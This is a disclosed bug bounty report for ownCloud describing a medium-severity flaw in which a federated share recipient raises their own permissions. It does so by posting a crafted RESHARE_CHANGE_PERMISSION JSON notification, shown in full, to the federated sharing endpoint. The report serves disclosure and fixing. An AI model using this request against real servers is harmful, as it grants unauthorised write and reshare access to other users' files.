ownCloud · Report #1990443
Federated share permissions can be increased by recipient
Validstatus
mediumseverity
$500bounty
29upvotes
24 Jun 2023disclosed
How it was found
- userA on serverX does a federated share to userB on serverY (this by default is read only)
- userB accepts the share
- userB does a request to
https://SERVERY/apps/federatedfilesharing/notifications
With the content. Replacing the SHARE_TOKEN, and the SHARE_ID they find in their database
{
"notificationType": "RESHARE_CHANGE_PERMISSION",
"resourceType": "file",
"providerId": "SHARE_ID",
"notification": {
"sharedSecret": "SHARE_TOKEN",
"permission": ["read", "write", "share"]
}
}
- userB now has full access
Impact
A recipient can increase their permissions trivially